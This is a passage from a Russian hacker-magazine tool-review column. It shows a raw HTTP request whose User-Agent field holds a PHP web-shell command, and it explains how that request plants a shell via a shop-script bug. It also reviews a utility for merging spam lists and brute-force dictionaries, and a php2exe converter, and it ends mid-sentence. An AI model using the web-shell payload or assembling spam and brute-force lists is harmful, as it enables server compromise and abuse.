X-Tools

Стройков Леонид aka R0id

Хакер, номер #093, стр. 093-096-2

Host: someserver.com

User-Agent: <? system(GET['cmd']) ?>

Как видишь, Raw HTTP request использует команду echo и данные клиента ($HTTP_USER_AGENT), которые записываются в файл веб-шелла. Содержимое User-Agent ты можешь менять на свой выбор. Все зависит от твоей фантазии, а применение программа обязательно найдет. Например, всем известный perl shop не позволяет через свой баг пользоваться качалками, ругаясь на отсутствие открываемого файла. В этом случае стоит воспользоваться Raw HTTP request и не усложнять себе жизнь.

Кстати, ребята из h0ld-up-team любезно предоставили сорцы программы, так что пользуйся на здоровье =).

Программа: Klei

ОС: Windows 98/ME2000/XP

Автор: Corps

Наверняка ты сталкивался с проблемой склейки/объединения спам-листов или словарей для брута. Можно, конечно, просто выполнить комбинацию copy/paste, но даже когда число объединяемых текстовых файлов больше десяти, этот способ становится неприемлемым. Конечно, реально за 5 минут наколбасить самопальный php-сборщик, но я настоятельно рекомендую не изобретать велосипед, а воспользоваться программой Klei. Эта маленькая утилита, написанная Corps'ом в незапамятные времена, предназначена именно для объединения множества txt-файлов в один. Несмотря на то, что прога не имеет графического интерфейса, она отлично справляется со своей задачей. Тебе достаточно поместить Klei и необходимые для склейки txt-файлы в одну директорию, после чего двумя кликами мыши запустить утилиту. В результате, на выходе ты получишь файл all.txt, содержащий в себе все данные из других txt-файлов. Стоит отметить, что программу можно запускать из консоли, указывая при этом требуемые параметры. В общем, если тебе понадобится большой словарик для брута или ты захочешь собрать куски спам-листов в одну базу, вспомни про Klei =).

Программа: php2exe

ОС: Windows 2000/XP

Автор: BUG(0)R

Возможно, ты уже знаком с программой perl2exe, конвертирующей перл-скрипты в полноценные exe-приложения. Сегодня хочу представить тебе ее собрата - утилиту php2exe, конвертирующую php-скрипты в исполняемые exe-файлы. Я долго искал подобную тулзу, и не так давно один из моих знакомых кинул мне свежий релиз. Запустив php2exe и оценив возможности проги, я остался доволен. Тулза отлично справляется со своей главной задачей - конвертированием пхп-скрипта в exe-файл. Кроме того, стоит отметить принцип работы софтины. Программа интегрирует скрипт в среду, т.е. при выполнении сценарий не распаковывается на винт, а выполняется в памяти как настоящая программа. Перед интеграцией, скрипт зашифровывается, а перед выполнением - расшифровывается, поэтому в какой-то мере это защищает от "крякеров". Естественно, что для выполнения скрипта в папке с .exe или в директории %WINNT%\system32 должна лежать библиотека php5ts.dll.

Учитывай, что разработчики php при переходе на новую ветку интерпретатора 5.1 не удосужились сохранить его совместимость со средой 5.0. Поэтому конвертер предусматривает две версии 5.0 и 5.1. Если ты конвертируешь в 5.0, а твоя DLL версии 5.1, то скрипт, увы, работать не будет. Точно так же, если конвертанешь скрипт для версии 5.1 и будешь запускать с версией php5ts.dll 5.0, тебя пошлют куда подальше. В случае, когда выполнении скрипта вылазят левые ошибки, не связанные с самим сценарием, то можно попробовать запустить скрипт следующим образом: